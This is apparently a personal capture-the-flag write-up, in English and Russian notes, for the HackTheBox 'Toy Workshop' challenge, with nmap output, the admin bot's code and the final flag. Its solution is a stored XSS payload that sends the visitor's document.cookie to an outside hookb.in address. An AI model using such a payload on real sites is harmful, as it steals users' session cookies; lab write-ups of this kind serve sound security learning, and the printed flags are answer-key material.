---
# System prepended metadata

title: CyberSanta Toy Workshop
tags: [round 1, HackTheBox]

---

###### tags: `HackTheBox` `round 1`
# CyberSanta Toy Workshop

## description
```
The work is going well on Santa's toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?
В мастерской Санта-Клауса работа идет хорошо, но мы потеряли связь с ответственным менеджером! Мы подозреваем, что мастерскую захватили злые эльфы. Можете ли вы поговорить с рабочими эльфами и узнать? 
```

## install docker
```
https://www.kali.org/docs/containers/installing-docker-on-kali/
```
## nmap
```
PORT     STATE SERVICE VERSION
1337/tcp open  http    Node.js (Express middleware)
|_http-title: Toy Workshop
```
## action
```
click on elf - send message
перед сборкой docker:
правим файл /challenge/routes/index.js:
*    убираем запрет доступа с ip <> 127.0.0.1
это даёт доступ к ip:port/queries
```
вот такое, но вместо 'no content' должна быть простыня сообщений, которое ты эльфам накидал, ну и флаг
![](https://i.imgur.com/wo1YLvw.png)
```
? поиграть с Referer или Origin в GET запросе 
-> верный путь: сделать запрос <localhost>:1337/queries через XSS
```
### show files /challenge/routes/index.js
```
два route: 
* /api/submit
* /queries

две view:
view/index.hbs
view/queries.hbs
```

## creds 
```
name of elves:
Lhoris Farrie
Ievis Chaeqirelle
```
## cookies
```
const cookies = [{
	'name': 'flag',
	'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'
}];


const readQueries = async (db) => {
		const browser = await puppeteer.launch(browser_options);
		let context = await browser.createIncognitoBrowserContext();
		let page = await context.newPage();
		await page.goto('http://127.0.0.1:1337/');
		await page.setCookie(...cookies);
		await page.goto('http://127.0.0.1:1337/queries', {
			waitUntil: 'networkidle2'
		});
		await browser.close();
		await db.migrate();
};
```
## XSS
```
<script>new Image().src='https://hookb.in/RZr0PjZb6JhNb9zzbrPL/?c='+document.cookie;</script>
```
## flag
```
flag=HTB{3v1l_3lv3s_4r3_r1s1ng_up!}
```